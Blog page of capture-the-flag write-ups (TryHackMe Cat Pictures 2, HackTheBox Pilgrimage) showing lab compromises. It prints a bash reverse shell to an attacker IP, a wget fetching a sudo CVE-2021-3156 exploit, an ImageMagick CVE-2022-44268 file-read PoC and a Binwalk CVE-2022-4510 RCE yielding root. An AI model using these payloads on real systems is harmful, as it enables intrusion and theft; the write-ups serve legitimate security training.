we need to change this part;

image

Terminal window

1
# whoami
2
root

Congratulations on successfully compromising the machine! Well done! If you need any further assistance in the future, feel free to reach out. Take care and goodbye!

Cat Pictures 2 (TryHackMe): Information Disclosure via Exposed Git Repo

Mon, 03 Jul 2023 00:00:00 GMT

catpic2

Enumeration#

Let’s begin with a rapid Nmap scan.#

Terminal windowShow moreShow less

1
root@Fs:.../CTFs/catpictures2# nmap -sCV -oN nmap 10.10.44.70
2
# Nmap 7.80 scan initiated Mon Jul  3 19:58:08 2023 as: nmap -sCV -oN nmap 10.10.44.70
3
Nmap scan report for 10.10.44.70
4
Host is up (0.079s latency).
5
Not shown: 996 closed ports
6
PORT     STATE SERVICE VERSION
7
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
8
| ssh-hostkey:
9
|   2048 33:f0:03:36:26:36:8c:2f:88:95:2c:ac:c3:bc:64:65 (RSA)
10
|   256 4f:f3:b3:f2:6e:03:91:b2:7c:c0:53:d5:d4:03:88:46 (ECDSA)
11
|_  256 13:7c:47:8b:6f:f8:f4:6b:42:9a:f2:d5:3d:34:13:52 (ED25519)
12
80/tcp   open  http    nginx 1.4.6 (Ubuntu)
13
| http-robots.txt: 7 disallowed entries
14
|_/data/ /dist/ /docs/ /php/ /plugins/ /src/ /uploads/
15
|_http-title: Lychee
16
222/tcp  open  ssh     OpenSSH 9.0 (protocol 2.0)
17
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.6.9)
18
|_http-title: Welcome to nginx!
19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
20

21
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22
# Nmap done at Mon Jul  3 19:58:29 2023 -- 1 IP address (1 host up) scanned in 21.17 seconds

Show moreShow less

#

1
*80 — lychee*
2
*8080 — python http server*
3
*22,222 — ssh*

Performing a scan using Dirsearch#

Terminal windowShow moreShow less

1
  _|. _ _  _  _  _ _|_    v0.4.2
2
 (_||| _) (/_(_|| (_| )
3

4
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
5

6
Output File: /root/.dirsearch/reports/10.10.187.79/-_23-07-06_21-12-01.txt
7

8
Error Log: /root/.dirsearch/logs/errors-23-07-06_21-12-01.log
9

10
Target: http://10.10.187.79/
11

12
[21:12:01] Starting:
13
[21:12:03] 301 -  193B  - /robots.txt
14
[21:12:04] 403 -  579B  - /.git/
15
[21:12:04] 403 -  579B  - /.github/
16
[21:12:04] 403 -  579B  - /.git/refs/
17
[21:12:04] 403 -  579B  - /.git/objects/
18
[21:12:04] 200 -  154B  - /.github/ISSUE_TEMPLATE.md
19
[21:12:04] 200 -  274B  - /.gitignore
20
[21:12:04] 200 -  630B  - /.htaccess
21
[21:12:07] 200 -  387B  - /.user.ini
22
[21:12:09] 200 -    1KB - /LICENSE
23
[21:12:10] 200 -    5KB - /README.md

Show moreShow less

I attempted to gather information by exploring the .git repository and robots.txt file, but unfortunately, I didn’t find anything of interest.

After some time, I managed to discover interesting information from the EXIF data extracted from an image.

1
root@Fs:.../CTFs/catpictures2# exiftool f5054e97620f168c7b5088c85ab1d6e4.jpg
2
ExifTool Version Number         : 12.40
3
File Name                       : f5054e97620f168c7b5088c85ab1d6e4.jpg
4
Directory                       : .
5
File Size                       : 71 KiB
6
File Modification Date/Time     : 2022:11:07 19:44:37+01:00
7
File Access Date/Time           : 2023:07:06 21:20:55+01:00
8
File Inode Change Date/Time     : 2023:07:06 21:19:41+01:00
9
File Permissions                : -rw-r--r--
10
File Type                       : JPEG
11
File Type Extension             : jpg
12
MIME Type                       : image/jpeg
13
JFIF Version                    : 1.01
14
Resolution Unit                 : inches
15
X Resolution                    : 72
16
Y Resolution                    : 72
17
Profile CMM Type                : Little CMS
18
Profile Version                 : 2.1.0
19
Profile Class                   : Display Device Profile
20
Color Space Data                : RGB
21
Profile Connection Space        : XYZ
22
Profile Date Time               : 2012:01:25 03:41:57
23
Profile File Signature          : acsp
24
Primary Platform                : Apple Computer Inc.
25
CMM Flags                       : Not Embedded, Independent
26
Device Manufacturer             :
27
Device Model                    :
28
Device Attributes               : Reflective, Glossy, Positive, Color
29
Rendering Intent                : Perceptual
30
Connection Space Illuminant     : 0.9642 1 0.82491
31
Profile Creator                 : Little CMS
32
Profile ID                      : 0
33
Profile Description             : c2
34
Profile Copyright               : IX
35
Media White Point               : 0.9642 1 0.82491
36
Media Black Point               : 0.01205 0.0125 0.01031
37
Red Matrix Column               : 0.43607 0.22249 0.01392
38
Green Matrix Column             : 0.38515 0.71687 0.09708
39
Blue Matrix Column              : 0.14307 0.06061 0.7141
40
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
41
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
42
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
43
XMP Toolkit                     : Image::ExifTool 12.49
44
Title                           : :8080/764efa883dda1e11db47671c4a3bbd9e.txt
45
Image Width                     : 720
46
Image Height                    : 1080
47
Encoding Process                : Baseline DCT, Huffman coding
48
Bits Per Sample                 : 8
49
Color Components                : 3
50
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
51
Image Size                      : 720x1080
52
Megapixels                      : 0.778

Show moreShow less

this part Title : :8080/764efa883dda1e11db47671c4a3bbd9e.txt

#

It appears that the system is utilizing The other web server to retrieve Info.

1
note to self:
2

3
I setup an internal gitea instance to start using IaC for this server. It's at a quite basic state, but I'm putting the password here because I will definitely forget.
4
This file isn't easy to find anyway unless you have the correct url...
5

6
gitea: port 3000
7
user: samarium
8
password: TUmhyZ37CLZrhP
9

10
ansible runner (olivetin): port 1337

samarium

Upon obtaining this information, we realized that there is a Gitea server running on port 3000, and we have obtained valid credentials for it.#

Screenshot from 2023-07-06 21-31-32

Gaining access#

image

Given our knowledge of Ansible Runner (Olivetin) on port 1337, which enables the execution of Ansible playbooks, I intend to replace the existing “echo” command with a reverse shell.

Terminal window

1
bash -c "bash -i >& /dev/tcp/10.18.81.1/14632 0>&1"

After obtaining a shell, I discovered an “id_rsa” file, which I utilized to establish a more stable shell. Subsequently, I attempted to exec Linpeas on the server to conduct further enumeration and analysis.

Terminal window

1
bismuth@catpictures-ii:~$ ls
2
flag2.txt

Priv-Esc#

we have a vulnerable sudo version here. After patiently waiting during the Linpeas scan, I stumbled upon an interesting CVE (Common Vulnerabilities and Exposures) in the target machine. To gather more information, I conducted a Google search and came across a GitHub proof-of-concept (! POC) related to the discovered vulnerability.

Let’s set up a Python3 server to share the CVE details with the target.

Terminal window

1
root@Fs:.../www/html# ll
2
total 9.6M
3
drwxr-xr-x 3 root  root  4.0K Jul  5 18:01 CVE-2021-3156/
4
-rw-r--r-- 1 root  root  3.1M Jun  4 05:27 linpeas_linux_amd64
5
-rwxrwxr-x 1 achux achux 817K Jun  6 16:41 linpeas.sh*
6
-rw-rw-r-- 1 achux achux 5.7M Jun  5 23:55 nmap
7
-rw-r--r-- 1 root  root   18K Jun  6 15:42 PwnKit
8
root@Fs:.../www/html# webup
9
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

! note : webup /=/ alias “webup=‘python3 -m http.server 8000’”

Terminal window

1
bismuth@catpictures-ii:/$ cd /tmp; wget -r 10.18.81.222/CVE-2021-3156/

let’s go aHead to explore the CVE

Terminal windowShow moreShow less

1
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ls
2
brute.sh  hax.c  lib.c  Makefile  README.md
3
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ make
4
rm -rf libnss_X
5
mkdir libnss_X
6
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
7
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
8
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ls
9
brute.sh  hax.c  lib.c  libnss_X  Makefile  README.md  sudo-hax-me-a-sandwich
10
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
11

12
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
13

14
  usage: ./sudo-hax-me-a-sandwich <target>
15

16
  available targets:
17
  ------------------------------------------------------------
18
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
19
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
20
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
21
  ------------------------------------------------------------
22

23
  manual mode:
24
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
25

26
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
27

28
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
29

30
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
31
** pray for your rootshell.. **
32
[+] bl1ng bl1ng! We got it!
33
# id
34
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1000(bismuth)
35
#

Show moreShow less

And now we have pwned the machine I appreciate your patience❤️

Pilgrimage (HackTheBox): Git Exposure → ImageMagick CVE-2022-44268 → PrivEsc

Sun, 25 Jun 2023 00:00:00 GMT

image

Enum#

Let’s start with a quick Nmap scan.

Nmap Scan#

Terminal windowShow moreShow less

1
root@Fs:.../HTB/Pilgrimage# nmap -p- -oN Nmap -sCV -T4 pilgrimage.htb
2
# Nmap 7.80 scan initiated Sun Jun 25 16:17:30 2023 as: nmap -p- -oN Nmap -sCV -T4 pilgrimage.htb
3
Nmap scan report for pilgrimage.htb (10.10.11.219)
4
Host is up (0.34s latency).
5
Not shown: 65533 closed ports
6
PORT   STATE SERVICE VERSION
7
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
8
80/tcp open  http    nginx 1.18.0
9
| http-cookie-flags:
10
|   /:
11
|     PHPSESSID:
12
|_      httponly flag not set
13
| http-git:
14
|   10.10.11.219:80/.git/
15
|     Git repository found!
16
|     Repository description: Unnamed repository; edit this file 'description' to name the...
17
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
18
|_http-server-header: nginx/1.18.0
19
|_http-title: Pilgrimage - Shrink Your Images
20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
21

22
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23
# Nmap done at Sun Jun 25 16:21:47 2023 -- 1 IP address (1 host up) scanned in 256.71 seconds

Show moreShow less

Let’s check what’s running on port 80.

image

It seems to be an upload server, Let’s try uploading something;

image

By reading the Nmap scan, we realized that there’s a .git/ directory. Let’s try to dump its contents.

Terminal window

1
git-dumper http://pilgrimage.htb/ git/

Terminal window

1
root@Fs:.../HTB/Pilgrimage# ls git/
2
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

By reading the contents of those files, we found some interesting information. It appears that it’s using SQLite as the database.

image

It’s using ImageMagick to convert images.

By conducting a Google search, I found a ! CVE-2022-44268 (Common Vulnerabilities and Exposures) related to the discovered vulnerability.

let’s try This POC

We have already identified the location where the DB stores data: “/var/db/pilgrimage”.

Let’s try to access this file.

Terminal window

1
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# python3 generate.py  -f "/var/db/pilgrimage" -o exploit.png
2

3
   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
4
   [>] Generating Blank PNG
5
   [>] Blank PNG generated
6
   [>] Placing Payload to read /var/db/pilgrimage
7
   [>] PoC PNG generated > exploit.png
8
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# convert exploit.png result.png

Download Time:

Terminal windowShow moreShow less

1
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# wget http://pilgrimage.htb/shrunk/64af576f46ee8.png
2
--2023-07-13 02:46:53--  http://pilgrimage.htb/shrunk/64af576f46ee8.png
3
Resolving pilgrimage.htb (pilgrimage.htb)... 10.10.11.219
4
Connecting to pilgrimage.htb (pilgrimage.htb)|10.10.11.219|:80... connected.
5
HTTP request sent, awaiting response... 200 OK
6
Length: 1628 (1.6K) [image/png]
7
Saving to: ‘64af576f46ee8.png’
8

9
64af576f46ee8.png                     100%[========================================================================>]   1.59K  --.-KB/s    in 0s
10

11
2023-07-13 02:46:54 (205 MB/s) - ‘64af576f46ee8.png’ saved [1628/1628]
12

13
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# convert 64af576f46ee8.png result.png
14
root@Fs:.../Pilgrimage/imagemagick-lfi-poc# identify -verbose result.png
15
[output...]

Show moreShow less

Let’s copy the “Raw profile type: ” string and decode it using CyberChef.

From Hex;

image

Let’s Download the sqlite file

image

Let’s log in via SSH using those credentials.

image

And we have successfully gained access .

Priv-esc#

Terminal window

1
emily@pilgrimage:~$ ls
2
linPEAS.sh  pspy64  user.txt

Let’s run pspy64 first, followed by Linpeas, and hope to gather some valuable information.

After 10 years HAAHAH, we finally discovered some interesting findings.

1
2023/07/13 12:06:18 CMD: UID=0     PID=713    | /bin/bash /usr/sbin/malwarescan.sh

The content:

image

I wasted a lot of time before realizing that Binwalk is outdated and has a CVE !! Binwalk v2.3.2 - Remote Command Execution (RCE)

Let’s utilize the ExploitDB script to gain root access

Terminal windowShow moreShow less

1
root@Fs:.../Pilgrimage/privesc# python3 exploit.py random-image.png 10.10.14.xxx 9999
2

3
################################################
4
------------------CVE-2022-4510----------------
5
################################################
6
--------Binwalk Remote Command Execution--------
7
------Binwalk 2.1.2b through 2.3.2 included-----
8
------------------------------------------------
9
################################################
10
----------Exploit by: Etienne Lacoche-----------
11
---------Contact Twitter: @electr0sm0g----------
12
------------------Discovered by:----------------
13
---------Q. Kaiser, ONEKEY Research Lab---------
14
---------Exploit tested on debian 11------------
15
################################################
16

17

18
You can now rename and share binwalk_exploit and start your local netcat listener.
19

20
root@Fs:.../Pilgrimage/privesc# scp binwalk_exploit.png emily@10.10.11.219:/var/www/pilgrimage.htb/shrunk/
21
emily@10.10.11.219's password:
22
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
23
binwalk_exploit.png                                                                                                  100% 1084     3.4KB/s   00:00

Show moreShow less

and we have access

Terminal windowShow moreShow less

1
root@Fs:.../Pilgrimage/privesc# nc -lnvp 9999
2
Listening on 0.0.0.0 9999
3
Connection received on 10.10.11.219 46362
4
ls
5
_binwalk_exploit.png.extracted
6
_e.png.extracted
7
whoami
8
root
9
id
10
uid=0(root) gid=0(root) groups=0(root)
11
python3 -c 'import pty;pty.spawn("/bin/bash")'
12
^Z
13
[1]+  Stopped                 nc -lnvp 9999
14
root@Fs:.../Pilgrimage/privesc# stty raw -echo;fg
15
nc -lnvp 9999
16
             root@pilgrimage:~/quarantine# export TERM=xterm-256color
17
root@pilgrimage:~/quarantine# export SHELL=/bin/bash
18
root@pilgrimage:~/quarantine# ls
19
_binwalk_exploit.png.extracted  _e.png.extracted
20
root@pilgrimage:~/quarantine# ls /root
21
quarantine  reset.sh  root.txt
22
root@pilgrimage:~/quarantine#

Show moreShow less

Goodbye! 💜